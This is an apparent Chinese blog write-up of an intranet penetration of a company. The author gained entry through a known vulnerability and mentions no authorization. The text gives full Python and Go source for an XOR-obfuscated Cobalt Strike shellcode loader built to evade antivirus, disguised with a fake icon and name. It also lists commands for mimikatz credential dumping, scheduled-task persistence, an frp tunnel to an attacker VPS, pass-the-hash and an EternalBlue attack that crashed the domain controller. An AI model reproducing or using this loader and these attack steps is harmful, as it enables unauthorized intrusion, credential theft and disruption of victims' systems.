内网|初探内网渗透(一)

0x01前言

昨夜我做了一个长长的梦,梦里我很思念她,她亦很思念我. . . . . .

0x02背景

最近在学习内网,温故而知新,所以抽空总结了一下现有的知识,既是分享,也是审视。

0x03上传文件

使用一个已知漏洞获取了某公司的公网服务器权限,内网拉开序幕
首先确认在这个内网中我是谁,我在哪
1

是一台win server服务器 system权限

上传mimikatz尝试获取hash

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full"" exit >> log.txt

2

执行完直接被删了,procdump也一样

看了一下防火墙和tasklist

1
netsh firewall show state

防火墙开了还有杀软
3
4

接下来我可以选择
1、上传一个cs免杀马上线cs操作
2、使用administrator账户关闭杀软和防火墙

关闭杀软动静过大,不到万不得已我不愿意用此方法,而且测试我的免杀是能用的
所以这里使用第二种方法,免杀马上线cs

0x04木马免杀

免杀方式:使用xor编辑c-shellcode然后用go解密执行

第一步:
把cs生成的c-shellcode填入xor的shellcode字段中
xor.py内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode


def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1


return new_shellcode


def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
for i in range(0, len(shellcode)):
new_shellcode += shellcode[i]


new_shellcode += key[i % key_len]
return new_shellcode


def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw


if __name__ == '__main__':
shellcode="\xfc\x48\x83\..."
#这是异或和增加随机字符使用的key
key = "planet"
shellcode = xor(shellcode, key)
shellcode = add_random_code(shellcode, key)
print(str_to_hex(shellcode))

执行xor.py
6
第二步
把上一步生成的shellcode填到shell.go的shellcode字段中,记得两个文件key要一致。
shell.go内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package main


import (
"syscall"
"time"
"unsafe"
)


const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。


)


var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)


func main() {
mix_shellcode := []byte{0x8c,0x70,...}
var ttyolller []byte
key := []byte("planet")#xor.py中的key
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
//fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if i%2 == 0 {
shellcode_final = append(shellcode_final, mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
//fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i%key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

执行go build -ldflags=”-H windowsgui -w -s” shell.go生成shell.exe
此时基本已经完成了,但是这个默认的图标太扎眼容易引起怀疑

把shell.exe拖到Restorator右键添加资源,类型选择图标,名称随便起一个
7
然后在test处右键导入ico文件即可
8
木马改个有迷惑性的名字如printapi、find5tr、he1p等

用冰蝎上传到目标机c:\windows\目录,执行上线
9

0x05权限维持

一般获得一个cs会话后先把beacin迁移到一个不易被关闭的进程如explorer.exe桌面进程

1
2
shell tasklist|findstr explorer.exe
inject 5008 x64

10

这台服务器是内网的入口我觉得有必要做一下权限维持。
常用以下几种方法维持权限:
1、注册表添加启动项
11

2、使用远程下载exe自启动
12
输入木马存放地址即可

3、计划任务
指定每天上午9.30运行我们放在c:\windows\目录下的木马文件

1
schtasks /create /TN cs /TR C:\windows\printapi.exe /SC daily /mo 1 /ST 09:30:00

13

0x06内网信息收集

net view/domaiin查看域
yu1
net view /domain:域名称 查看域内机器主机名
yu2
dsquery user 查看存在的用户
yu3
net group “Domain admins” /domain查询域管理员组
yu4
域管用户nicole

定位域控
nslookup domain
14
systeminfo
15
systeminfo如果domain为workgroup则代表不存在域,否则存在xxx.com域环境
ipconfig /all
16
一般来说,域控就是dns服务器,所以有时候我们也可以探测内网53端口来寻找域控
定位域控服务器:192.168.0.253

但是当我执行net user查看本机用户的时候
17
这么多账户信息让我一度以为我就是域控
继续net user /domain
18
emo
两者基本吻合
不太对劲起来
先dump hash再说
一般用hashdump或者logonpasswords来读取,但是两者有时候dump下来的hash有差别
测试后感觉还是hashdump更准一些
19
20
看这个hash基本全是空密码

0x07内网穿透

用这台服务器搭让我们与对方内网建立连接,方便内网横向移动
首先使用cs或者webshell上传frpc到目标机,cs可以用Certutil命令或者文件管理上传
frpc.ini配置如下

1
2
3
4
5
6
7
8
9
10
11
[common]
server_addr =42.xxx.xxx.xxx #vps IP
server_port = 7000


[socks5]
type = tcp
remote_port = 60000 #服务端用60000端口转发给本机
plugin = socks5
use_encryption = true #启用加密 [通信内容加密传输,有效防止流量被拦截]
use_compression = true #启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

上传frps相关文件到vps,并执行

1
2
3
4
chmod 777 frps

chmod +x frps
赋予frps执行权限

frps.ini配置如下

1
2
3
4
5
6
[common]
bind_addr = 0.0.0.0
dashboard_user = user
dashboard_pwd = pass
dashboard_port = 7500
bind_port = 7000

访问vps:7500输入frps.ini中的user和pwd可以看到图形页面
21
client显示为1即连接正常

vps执行./frps
目标机执行frpc.exe
22
成功建立连接

0x08内网横向

使用proxifier,让工具流量走sock代理
proxifier设置
1、proxy servers设置
23
2、proxification rules设置
24
把需要走sock代理的工具添加到列表中即可

前面我们已经获取到域管用户nicole的密码hash
直接psexec hash传递

这里提一下
哈希传递攻击适用情况:

在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

25
不对劲,空密码不是这个报错
难到dump下来的hash不对?
连接起来之前得到的信息,冷静分析一波,一切都明朗了
我这台机器很有可能是dc备份,域控就是253,dump下来的hash没错,但是极有可能是旧的
看来还是回到起点,重新搞域控

goby设置代理
26
27
浏览器挂上代理,域控8090开的致远oa,其他页面啥也不是、
28
几乎没有任何思考
访问http://192.168.0.253:8090/seeyon/SeeyonUpdate1.jspx
29
寄、
没有出现java.lang.NullPointerException:null
但是抱着试一试的态度测试一下上传

1、burp添加socks代理
30
2、构造payload包发送
31
3、访问shell地址
32
404了,显然没有成功。
这里有必要说一下,我在这个域内的时候log4j远程代码执行这个核弹级漏洞还没被爆出来,否则也就没后边那么多弯弯绕了

ms17-010
goby扫到253开的还有445,并且存在ms-17010,那自然是要试一试

cs传递会话给msf
首先在cs上创建一个msf监听器
33
然后msf开启监听,cs增加会话选择刚才创建的msf监听器
34
msf建立连接

添加路由
35
后台会话,利用17010横向
36
这里的第二个和第三个模块需要目标开启命名管道,并且比较稳定。第一个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。

1
2
3
4
5
Use exploit/windows/smb/ms17_010_eternalblue//加载漏洞模块
Show options//查看需要填写的参数
Set rhost 目标IP
Set payload windows/x64/meterpreter/reverse_tcp
exploit

37
wo_ri
本来保险起见我msf打域控的时候,我webshell这边也一直在ping域控探测主机在线情况,结果还真给它打蓝屏重启了

等了几分钟域控重新在线,但是web服务没再起
然后又爆破了一波3389无果、
暂时就搁置了

寄希望于他们能重启web服务,让我用log4j风靡一番,有后续再写